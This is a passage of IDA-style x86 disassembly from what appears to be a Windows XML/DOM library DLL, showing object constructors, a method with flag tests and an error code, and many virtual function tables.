arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		xor	ebx, ebx
		mov	ecx, eax
		push	edi
		xor	edi, edi
		shr	ecx, 14h
		inc	ebx
		test	cl, bl
		mov	[ebp+var_4], edi
		jnz	short loc_69B14EE1
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		push	eax
		push	esi
		call	sub_69B4A04A
		mov	[ebp+var_4], eax
		jmp	short loc_69B14F09
; ---------------------------------------------------------------------------


loc_69B14EE1:				; CODE XREF: sub_69B14EAC+1Dj
		mov	ecx, eax
		shr	ecx, 3
		test	cl, bl
		jnz	short loc_69B14F09
		shr	eax, 4
		and	eax, 3Fh
		jz	short loc_69B14F09
		cmp	eax, ebx
		jz	short loc_69B14F09
		push	edi
		push	0C00CE205h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B14F09:				; CODE XREF: sub_69B14EAC+33j
					; sub_69B14EAC+3Cj ...
		mov	ecx, [ebp+arg_0]
		call	sub_69B2EF67
		test	al, al
		jz	short loc_69B14F47
		cmp	[ebp+var_4], edi
		jz	short loc_69B14F2D
		push	ebx
		push	ebx
		push	[ebp+var_4]
		mov	ecx, esi
		push	edi
		push	edi
		call	sub_69B4C674
		jmp	loc_69B150A8
; ---------------------------------------------------------------------------


loc_69B14F2D:				; CODE XREF: sub_69B14EAC+6Cj
		mov	eax, [esi+8]
		shr	eax, 0Eh
		test	al, bl
		jz	loc_69B150A8
		mov	ecx, esi
		call	sub_69B4B872
		jmp	loc_69B150A8
; ---------------------------------------------------------------------------


loc_69B14F47:				; CODE XREF: sub_69B14EAC+67j
		mov	eax, [esi+8]
		shr	eax, 14h
		test	al, bl
		jz	loc_69B15065
		mov	ecx, [ebp+arg_0]
		push	ebx
		call	sub_69B2F43C
		push	eax
		call	sub_69B20F54
		mov	[ebp+arg_0], eax
		mov	eax, [esi]
		mov	ecx, esi
		mov	[ebp+var_4], edi
		mov	[ebp+var_C], edi
		mov	[ebp+var_1C], bx
		call	dword ptr [eax+0F4h]
		cmp	[ebp+arg_0], 2
		mov	edi, eax
		jz	short loc_69B14F8D
		mov	eax, [esi+8]
		shr	eax, 0Fh
		test	al, bl
		jz	short loc_69B14FFB


loc_69B14F8D:				; CODE XREF: sub_69B14EAC+D5j
		mov	eax, [esi+8]
		shr	eax, 0Ah
		test	al, bl
		jnz	short loc_69B14FFB
		test	edi, edi
		jz	short loc_69B14FFB
		mov	ecx, [esi+0Ch]
		call	sub_69B3DABE
		mov	[ebp+var_8], eax
		mov	eax, [esi+8]
		shr	eax, 0Fh
		test	al, bl
		jz	short loc_69B14FCF
		push	0
		push	ebx
		mov	ecx, esi
		call	sub_69B4AD10
		test	eax, eax
		jz	short loc_69B14FCB
		mov	ecx, [ebp+var_8]
		push	eax
		call	sub_69B8B033
		and	dword ptr [edi+8], 0FFFFFFFBh


loc_69B14FCB:				; CODE XREF: sub_69B14EAC+110j
		and	byte ptr [esi+9], 7Fh


loc_69B14FCF:				; CODE XREF: sub_69B14EAC+102j
		cmp	[ebp+arg_0], 2
		jnz	short loc_69B14FFB
		push	0
		mov	ecx, esi
		call	sub_69B47E6C
		push	eax
		push	ebx
		mov	ecx, esi
		mov	[ebp+var_C], eax
		call	sub_69B4AD10
		test	eax, eax
		jz	short loc_69B1504E
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_8]
		mov	ecx, esi
		call	sub_69B481EB


loc_69B14FFB:				; CODE XREF: sub_69B14EAC+DFj
					; sub_69B14EAC+E9j ...
		cmp	[ebp+arg_0], 0Ch
		jge	short loc_69B15006
		cmp	[ebp+arg_0], ebx
		jnz	short loc_69B1504E


loc_69B15006:				; CODE XREF: sub_69B14EAC+153j
		mov	eax, [esi+8]
		mov	ecx, eax
		shr	ecx, 4
		and	ecx, 3Fh
		cmp	[ebp+arg_0], ecx
		jz	short loc_69B15035
		shr	eax, 14h
		test	al, bl
		mov	ecx, esi
		jz	short loc_69B1502B
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		call	sub_69B4936A
		jmp	short loc_69B15032
; ---------------------------------------------------------------------------


loc_69B1502B:				; CODE XREF: sub_69B14EAC+171j
		push	0
		call	sub_69B48E56


loc_69B15032:				; CODE XREF: sub_69B14EAC+17Dj
		mov	[ebp+var_4], eax


loc_69B15035:				; CODE XREF: sub_69B14EAC+168j
		push	[ebp+var_4]
		lea	eax, [ebp+var_1C]
		push	0
		push	eax
		push	[ebp+arg_0]
		mov	ecx, esi
		push	[ebp+var_C]
		push	dword ptr [esi+0Ch]
		call	sub_69B4858B


loc_69B1504E:				; CODE XREF: sub_69B14EAC+140j
					; sub_69B14EAC+158j
		mov	eax, [esi]
		lea	ecx, [ebp+var_1C]
		push	ecx
		push	[ebp+arg_0]
		mov	ecx, esi
		call	dword ptr [eax+0E8h]
		or	dword ptr [esi+8], 8
		jmp	short loc_69B150A8
; ---------------------------------------------------------------------------


loc_69B15065:				; CODE XREF: sub_69B14EAC+A3j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		mov	edi, [eax+70h]
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1Fh
		mov	ebx, eax
		jg	short loc_69B15084
		call	sub_69B2E6D8


loc_69B15084:				; CODE XREF: sub_69B14EAC+1D1j
		mov	ebx, [ebx+88h]
		push	0		; int
		push	0		; lpString
		push	offset off_69B150B0 ; int
		mov	ecx, edi
		call	sub_69B4D394
		push	eax
		push	[ebp+arg_0]
		mov	ecx, esi
		push	0
		push	ebx
		call	sub_69B4D02C


loc_69B150A8:				; CODE XREF: sub_69B14EAC+7Cj
					; sub_69B14EAC+89j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B14EAC	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B150B0	dd offset off_69B17D10	; DATA XREF: sub_69B14EAC+1E2o
					; .data:69B92204o ...
		align 8
		dd 2
		dd offset aDt		; "dt"
aDt:					; DATA XREF: .text:69B150BCo
		unicode	0, <dt>,0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_69B150C8	proc near		; CODE XREF: sub_69B4DCB3+3Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B19118
		push	[esp+0Ch+arg_0]
		xor	ecx, ecx
		mov	dword ptr [esi], offset	off_69B15124
		lea	edi, [esi+8]
		mov	[edi], ecx
		lea	eax, [esi+10h]
		lea	ebx, [esi+0Ch]
		mov	[ebx], ecx
		mov	[eax], ecx
		push	eax
		mov	[esi+18h], ecx
		call	sub_69B17320
		push	[esp+0Ch+arg_4]
		push	edi
		call	sub_69B17320
		push	[esp+0Ch+arg_8]
		push	ebx
		call	sub_69B17320
		mov	eax, [esp+0Ch+arg_C]
		mov	[esi+14h], eax
		push	0
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	10h
sub_69B150C8	endp

; ---------------------------------------------------------------------------
off_69B15124	dd offset sub_69B2D67E	; DATA XREF: sub_69B150C8+10o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B4DBA0
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B4D429

; =============== S U B	R O U T	I N E =======================================



sub_69B1515C	proc near		; CODE XREF: sub_69B4D460+Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B19118
		push	[esp+0Ch+arg_0]
		xor	eax, eax
		mov	dword ptr [esi], offset	off_69B151B0
		lea	edi, [esi+8]
		mov	[edi], eax
		lea	ebx, [esi+0Ch]
		mov	[ebx], eax
		push	edi
		mov	[esi+10h], eax
		call	sub_69B17320
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jnz	short loc_69B15192
		mov	eax, [edi]
		mov	eax, [eax+10h]


loc_69B15192:				; CODE XREF: sub_69B1515C+2Fj
		push	eax
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17320
		push	[esp+0Ch+arg_8]
		push	ebx
		call	sub_69B17320
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	0Ch
sub_69B1515C	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B151B0	dd offset sub_69B2D67E	; DATA XREF: sub_69B1515C+10o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B7868C
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B4D1E2
		dd offset sub_69B4D281
		dd offset sub_69B4D23C
		dd offset sub_69B2F49D
		dd offset sub_69B4DC0B
		dd offset nullsub_5
		dd offset sub_69B4DB74

; =============== S U B	R O U T	I N E =======================================



sub_69B151E8	proc near		; CODE XREF: sub_69B51279+4p
		push	esi
		push	64Ch
		call	sub_69B17EF3
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B1520A
		mov	ecx, esi
		call	sub_69B19118
		mov	dword ptr [esi], offset	off_69B15210
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B1520A:				; CODE XREF: sub_69B151E8+Fj
		xor	eax, eax
		pop	esi
		retn
sub_69B151E8	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B15210	dd offset sub_69B2D67E	; DATA XREF: sub_69B151E8+18o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset nullsub_5

; =============== S U B	R O U T	I N E =======================================



sub_69B15248	proc near		; CODE XREF: sub_69B1BE7F+8C13p
					; sub_69B519E0+D5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		push	edi
		push	[esp+0Ch+arg_4]
		mov	esi, ecx
		push	[esp+10h+arg_0]
		call	sub_69B1BEB8
		or	byte ptr [esi+0Ah], 80h
		mov	dword ptr [esi], offset	off_69B15298
		mov	edi, [edi+0E8h]
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]
		mov	eax, [esp+8+arg_C]
		test	eax, eax
		mov	[esi+10h], edi
		jz	short loc_69B15284
		mov	[esi+18h], eax
		jmp	short loc_69B1528C
; ---------------------------------------------------------------------------


loc_69B15284:				; CODE XREF: sub_69B15248+35j
		push	esi
		mov	ecx, edi
		call	sub_69B517AA


loc_69B1528C:				; CODE XREF: sub_69B15248+3Aj
		pop	edi
		mov	eax, esi
		pop	esi
		retn	10h
sub_69B15248	endp

; ---------------------------------------------------------------------------
		align 8
off_69B15298	dd offset sub_69B48072	; DATA XREF: sub_69B15248+1Ao
		dd offset sub_69B1DE10
		dd offset sub_69B491D1
		dd offset sub_69B59E43
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B59D0C
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B59E5E
		dd offset sub_69B4917C
		dd offset sub_69B2FAB8
		dd offset sub_69B4918C
		dd offset sub_69B47F81
		dd offset sub_69B481D8
		dd offset sub_69B4AD59
		dd offset sub_69B48756
		dd offset sub_69B48894
		dd offset sub_69B4BC9C
		dd offset sub_69B4BCA1
		dd offset sub_69B4CD82
		dd offset sub_69B47F5C
		dd offset sub_69B4A5B1
		dd offset sub_69B48789
		dd offset sub_69B487EE
		dd offset sub_69B4A5F8
		dd offset sub_69B47F91
		dd offset sub_69B4CD87
		dd offset sub_69B4CDC8
		dd offset sub_69B4CE22
		dd offset sub_69B4A6F9
		dd offset sub_69B4A392
		dd offset sub_69B4A37F
		dd offset sub_69B48769
		dd offset sub_69B4A3A9
		dd offset sub_69B4AA2A
		dd offset sub_69B4A621
		dd offset sub_69B4BCB5
		dd offset sub_69B47FF1
		dd offset sub_69B4D1CD
		dd offset sub_69B4CE71
		dd offset sub_69B73462
		dd offset sub_69B4874C
		dd offset sub_69B48867
		dd offset sub_69B4884D
		dd offset sub_69B4D1A8
		dd offset sub_69B4A626
		dd offset sub_69B4D1AD
		dd offset sub_69B4800F
		dd offset sub_69B491B5
		dd offset sub_69B48882
		dd offset sub_69B4ADB4
		dd offset sub_69B481E1
		dd offset sub_69B48AA4
		dd offset sub_69B59E02
		dd offset sub_69B89E92
		dd offset sub_69B59EA7
		dd offset sub_69B59D29
		dd offset sub_69B59D1C
		dd offset sub_69B59D35
		dd offset sub_69B59D45
		dd offset sub_69B59D51
		dd offset sub_69B59D61
		dd offset sub_69B59D7B
		dd offset sub_69B59D9A
		dd offset sub_69B59DC5
		dd offset sub_69B59DF8
		dd offset sub_69B59D1F
		dd offset sub_69B59D24
		dd offset sub_69B59EB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B62A37


loc_69B153C0:				; CODE XREF: sub_69B62A37+Dj
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B19118
		lea	edi, [esi+8]
		mov	ecx, edi
		call	sub_69B1818F
		push	[esp+8+arg_0]
		lea	eax, [esi+0Ch]
		mov	dword ptr [esi], offset	off_69B18240
		mov	dword ptr [edi], offset	off_69B153F8
		and	dword ptr [eax], 0
		push	eax
		call	sub_69B17320
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B62A37
; ---------------------------------------------------------------------------
		align 4
off_69B153F8	dd offset sub_69B65C47	; DATA XREF: sub_69B62A37-4D657o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B7624E
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B6860C
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B62A4E
		dd offset sub_69B80B30
		dd offset sub_69B6860C
		dd offset sub_69B6860C
		dd offset sub_69B6860C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B655E3


loc_69B15440:				; CODE XREF: sub_69B655E3+Dj
		push	esi
		mov	esi, ecx
		call	sub_69B65445
		push	[esp+4+arg_0]
		mov	dword ptr [esi], offset	off_69B154D8
		mov	dword ptr [esi+8], offset off_69B15478
		and	dword ptr [esi+10h], 0
		lea	ecx, [esi+20h]
		mov	byte ptr [esi+14h], 0
		call	sub_69B1E084
		mov	byte ptr [esi+14h], 1
		mov	eax, esi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B655E3
; ---------------------------------------------------------------------------
		align 8
off_69B15478	dd offset sub_69B65C47	; DATA XREF: sub_69B655E3-50191o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B65531
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B65539
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B655DE
		dd offset sub_69B698CB
		dd offset sub_69B2E804
		dd offset sub_69B65420
		dd offset sub_69B6860C
		dd offset sub_69B6C7E4
		dd offset sub_69B65510
		dd offset sub_69B65596
		dd offset sub_69B654B0
		dd offset sub_69B65541
		dd offset sub_69B6C809
off_69B154D8	dd offset sub_69B6547B	; DATA XREF: sub_69B655E3-50197o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B655FA
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B65410
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6558A
		dd offset sub_69B654C0
		dd offset sub_69B654EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B6589E


loc_69B15518:				; CODE XREF: sub_69B6589E+Dj
		push	esi
		mov	esi, ecx
		call	sub_69B65445
		push	[esp+4+arg_0]
		lea	ecx, [esi+10h]
		mov	dword ptr [esi], offset	off_69B155A8
		mov	dword ptr [esi+8], offset off_69B15548
		call	sub_69B1E084
		mov	eax, [esp+4+arg_4]
		mov	[esi+14h], eax
		mov	eax, esi
		pop	esi
		retn	8
; END OF FUNCTION CHUNK	FOR sub_69B6589E
; ---------------------------------------------------------------------------
		align 4
off_69B15548	dd offset sub_69B65C47	; DATA XREF: sub_69B6589E-50371o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B6DD7B
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B65694
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B67765
		dd offset sub_69B698CB
		dd offset sub_69B73462
		dd offset sub_69B6C7A5
		dd offset sub_69B6860C
		dd offset sub_69B6C7E4
		dd offset sub_69B65699
		dd offset sub_69B6576C
		dd offset sub_69B656A8
		dd offset sub_69B656F5
		dd offset sub_69B6C809
off_69B155A8	dd offset sub_69B6547B	; DATA XREF: sub_69B6589E-50377o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B65878
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B65683
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B65760
		dd offset sub_69B667EC
		dd offset sub_69B657C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B67706


loc_69B155E8:				; CODE XREF: sub_69B67706+Dj
		push	esi
		mov	esi, ecx
		call	sub_69B65445
		push	[esp+4+arg_0]
		mov	ecx, [esp+8+arg_4]
		lea	eax, [esi+14h]
		mov	dword ptr [esi], offset	off_69B15680
		mov	dword ptr [esi+8], offset off_69B15620
		and	dword ptr [eax], 0
		push	eax
		mov	[esi+10h], ecx
		call	sub_69B17320
		mov	eax, esi
		pop	esi
		retn	8
; END OF FUNCTION CHUNK	FOR sub_69B67706
; ---------------------------------------------------------------------------
		align 10h
off_69B15620	dd offset sub_69B65C47	; DATA XREF: sub_69B67706-52105o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B667FD
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B66805
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B676D8
		dd offset sub_69B698CB
		dd offset sub_69B667F2
		dd offset sub_69B6C7A5
		dd offset sub_69B6860C
		dd offset sub_69B6C7E4
		dd offset sub_69B667E0
		dd offset sub_69B6576C
		dd offset sub_69B6699A
		dd offset sub_69B6C906
		dd offset sub_69B6C809
off_69B15680	dd offset sub_69B6547B	; DATA XREF: sub_69B67706-5210Bo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B676E0
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B667CB
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6680A
		dd offset sub_69B667EC
		dd offset sub_69B673B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B6776D


loc_69B156C0:				; CODE XREF: sub_69B6776D+Dj
		push	esi
		mov	esi, ecx
		call	sub_69B65445
		push	[esp+4+arg_0]
		lea	ecx, [esi+10h]
		mov	dword ptr [esi], offset	off_69B15748
		mov	dword ptr [esi+8], offset off_69B156E8
		call	sub_69B1E084
		mov	eax, esi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B6776D
; ---------------------------------------------------------------------------
		align 4
off_69B156E8	dd offset sub_69B65C47	; DATA XREF: sub_69B6776D-52098o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B6DD7B
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B67760
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B67765
		dd offset sub_69B698CB
		dd offset sub_69B69DD8
		dd offset sub_69B6C7A5
		dd offset sub_69B6860C
		dd offset sub_69B6C7E4
		dd offset sub_69B6772C
		dd offset sub_69B67734
		dd offset sub_69B69DE9
		dd offset sub_69B6C906
		dd offset sub_69B6C809
off_69B15748	dd offset sub_69B6547B	; DATA XREF: sub_69B6776D-5209Eo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B65878
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B6771D
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B65760
		dd offset sub_69B67752
		dd offset sub_69B67758
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B69D37


loc_69B15788:				; CODE XREF: sub_69B69D37+Dj
		push	esi
		mov	esi, ecx
		call	sub_69B65445
		push	[esp+4+arg_4]
		lea	ecx, [esi+10h]
		mov	dword ptr [esi], offset	off_69B15828
		mov	dword ptr [esi+8], offset off_69B157C8
		call	sub_69B1E084
		push	[esp+4+arg_8]
		lea	ecx, [esi+14h]
		call	sub_69B1E084
		mov	eax, [esp+4+arg_0]
		mov	[esi+18h], eax
		mov	eax, esi
		pop	esi
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_69B69D37
; ---------------------------------------------------------------------------
		align 8
off_69B157C8	dd offset sub_69B65C47	; DATA XREF: sub_69B69D37-5459Ao
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B69DDC
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B69C68
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B69E13
		dd offset sub_69B698CB
		dd offset sub_69B69C64
		dd offset sub_69B6C7A5
		dd offset sub_69B6860C
		dd offset sub_69B6C7E4
		dd offset sub_69B69BE4
		dd offset sub_69B69C70
		dd offset sub_69B69CBF
		dd offset sub_69B6C906
		dd offset sub_69B6C809
off_69B15828	dd offset sub_69B6547B	; DATA XREF: sub_69B69D37-545A0o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B69E1B
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B69BD3
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B69ED4
		dd offset sub_69B69C05
		dd offset sub_69B69C41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B69E36


loc_69B15868:				; CODE XREF: sub_69B69E36+Dj
		push	esi
		mov	esi, ecx
		call	sub_69B65445
		push	[esp+4+arg_4]
		lea	ecx, [esi+10h]
		mov	dword ptr [esi], offset	off_69B15908
		mov	dword ptr [esi+8], offset off_69B158A8
		call	sub_69B1E084
		push	[esp+4+arg_8]
		lea	ecx, [esi+14h]
		call	sub_69B1E084
		mov	eax, [esp+4+arg_0]
		mov	[esi+18h], eax
		mov	eax, esi
		pop	esi
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_69B69E36
; ---------------------------------------------------------------------------
		align 8
off_69B158A8	dd offset sub_69B65C47	; DATA XREF: sub_69B69E36-545B9o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B69DDC
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B69DE1
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B69E13
		dd offset sub_69B698CB
		dd offset sub_69B69DD8
		dd offset sub_69B6C7A5
		dd offset sub_69B6860C
		dd offset sub_69B6C7E4
		dd offset sub_69B69F7C
		dd offset sub_69B69D5C
		dd offset sub_69B69DE9
		dd offset sub_69B6C906
		dd offset sub_69B6C809
off_69B15908	dd offset sub_69B6547B	; DATA XREF: sub_69B69E36-545BFo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B69E1B
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B69D4E
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B69ED4
		dd offset sub_69B69D7E
		dd offset sub_69B69DBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B69F0C


loc_69B15948:				; CODE XREF: sub_69B69F0C+Dj
		push	esi
		mov	esi, ecx
		call	sub_69B65445
		push	[esp+4+arg_0]
		lea	ecx, [esi+10h]
		mov	dword ptr [esi], offset	off_69B159E0
		mov	dword ptr [esi+8], offset off_69B15980
		call	sub_69B1E084
		push	[esp+4+arg_4]
		lea	ecx, [esi+14h]
		call	sub_69B1E084
		mov	eax, esi
		pop	esi
		retn	8
; END OF FUNCTION CHUNK	FOR sub_69B69F0C
; ---------------------------------------------------------------------------
		align 10h
off_69B15980	dd offset sub_69B65C47	; DATA XREF: sub_69B69F0C-545AFo
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B69DDC
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B69EA8
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B69E13
		dd offset sub_69B698CB
		dd offset sub_69B69DD8
		dd offset sub_69B6C7A5
		dd offset sub_69B6860C
		dd offset sub_69B6C7E4
		dd offset sub_69B69EAD
		dd offset sub_69B69E5C
		dd offset sub_69B69DE9
		dd offset sub_69B6C906
		dd offset sub_69B6C809
off_69B159E0	dd offset sub_69B6547B	; DATA XREF: sub_69B69F0C-545B5o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B69E1B
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B69E4D
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B69ED4
		dd offset sub_69B69EA2
		dd offset sub_69B69DBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B69FA2


loc_69B15A20:				; CODE XREF: sub_69B69FA2+Dj
		push	esi
		mov	esi, ecx
		call	sub_69B65445
		push	[esp+4+arg_0]
		lea	ecx, [esi+10h]
		mov	dword ptr [esi], offset	off_69B15AB8
		mov	dword ptr [esi+8], offset off_69B15A58
		call	sub_69B1E084
		push	[esp+4+arg_4]
		lea	ecx, [esi+14h]
		call	sub_69B1E084
		mov	eax, esi
		pop	esi
		retn	8
; END OF FUNCTION CHUNK	FOR sub_69B69FA2
; ---------------------------------------------------------------------------
		align 8
off_69B15A58	dd offset sub_69B65C47	; DATA XREF: sub_69B69FA2-5456Do
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B69DDC
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B69F9D
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B69E13
		dd offset sub_69B698CB
		dd offset sub_69B69DD8
		dd offset sub_69B6C7A5
		dd offset sub_69B6860C
		dd offset sub_69B6C7E4
		dd offset sub_69B69F7C
		dd offset sub_69B69F34
		dd offset sub_69B69DE9
		dd offset sub_69B6C906
		dd offset sub_69B6C809
off_69B15AB8	dd offset sub_69B6547B	; DATA XREF: sub_69B69FA2-54573o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B69E1B
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B69F23
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B69ED4
		dd offset sub_69B69F97
		dd offset sub_69B69DBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B6A147


